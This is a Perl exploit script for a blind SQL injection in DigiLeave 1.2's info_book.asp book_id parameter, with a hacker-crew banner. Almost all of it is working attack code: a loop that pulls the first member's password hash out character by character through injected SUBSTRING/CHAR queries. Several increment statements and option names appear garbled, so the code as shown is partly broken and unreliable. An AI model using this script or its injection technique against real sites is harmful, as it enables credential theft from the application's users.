DigiLeave 1.2 (info_book.asp book_id) Blind SQL Injection Exploit

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print " \n";
print " #################### Viva IslaMe Viva IslaMe ################\n";
print " # DigiLeave V1.2Blind SQL Injection Exploit #\n";
print " # (info_book.asp book_id ) #\n";
print " # Author: Mr.SQL #\n";
print " # EMAIL : SQL@HOTMAIL.IT #\n";
print " # #\n";
print " # -((:: GrE3E3E3E3E3ETZ ::))- #\n";
print " # #\n";
print " # HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab #\n";
print " # :: ALwHeD :: milw0rm :: #\n";
print " # #\n";
print " # <<>> MuSliMs HaCkErS <<>> #\n";
print " # #\n";
print " # PRODUCT SITE: http://www.digiappz.com #\n";
print " # #\n";
print " # HOME: WwW.PaL-HaCkEr.CoM #\n";
print " # #\n";
print " # Usage : perl test.pl host #\n";
print " # Example: perl test.pl www.host.com / -d 10 #\n";
print " # Options: #\n";
print " # -d valid book_id value #\n";
print " #############################################################\n";
exit;
}
my $host = $ARGV[0];
my $book_id = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"b"})
{
$book_id = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i )
{
my $f = 0;
my $h = 48;
while(!$f && $h <= 57)
{
if(istrue2($host, $book_id, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
if(!$f)
{
$h = 97;
while(!$f && $h <= 122)
{
if(istrue2($host, $book_id, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
}
}
print "\n[~] Exploiting done\n";
sub istrue2
{
my $host = shift;
my $book_id = shift;
my $i = shift;
my $h = shift; my $ua = LWP::UserAgent->new;
my $query = "http://".$host."info_book.asp?book_id=".$book_id." and (SUBSTRING((SELECT member_password FROM members LIMIT 0,1),".$i.",1))=CHAR(".$h.")"; if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
} my $resp = $ua->get($query);
my $content = $resp->content;
my $regexp = "tourterms.pdf"; if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}

</div>